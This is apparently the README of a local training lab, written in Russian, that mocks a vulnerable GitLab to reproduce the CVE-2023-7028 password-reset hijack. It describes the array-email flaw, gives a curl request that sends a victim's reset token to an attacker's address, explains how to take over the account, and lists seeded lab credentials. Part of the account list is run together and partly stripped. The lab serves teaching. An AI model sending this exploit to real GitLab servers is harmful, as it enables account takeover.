
Уязвимый экземпляр GitLab для лабораторных работ, воспроизводящий перехват сброса пароля CVE-2023-7028. Демонстрирует эксплуатацию параметра электронной почты на основе массива и захват учётной записи. Только для учебных лабораторных целей.
CVE-2023-7028 (CVSS 10.0): POST /users/password принимал массив user[email][] — сервер находил пользователя по email[0], но отправлял один и тот же токен сброса на каждый адрес → атакующий с [email protected] перехватывает [email protected].
Затронуты: GitLab CE/EE <16.5.6, <16.6.4, <16.7.2. Этот mock воспроизводит уязвимый поток версии 16.6.0 (JSON-БД, без SMTP).
npm install && npm start → http://127.0.0.1:3000 (или PORT=3001 npm start; автоматические повторы при занятости; только localhost).
Предустановленные учётные записи: [email protected]/s3cur3P@ss!, , в .
[email protected]/BobSecure1![email protected]/5iveL!fedata/users.jsoncurl -X POST http://127.0.0.1:3000/users/password -d "user[email][][email protected]&user[email][][email protected]"
Проверьте http://127.0.0.1:3000/mailbox или /api/emails — оба получают один и тот же токен. Откройте .../users/password/edit?reset_password_token=TOKEN, чтобы перехватить учётную запись.
Обычный сценарий: user[email][email protected] → одно письмо. Mailbox показывает все письма; ничего не покидает хост.
MIT — только для лаборатории, не выставляйте наружу.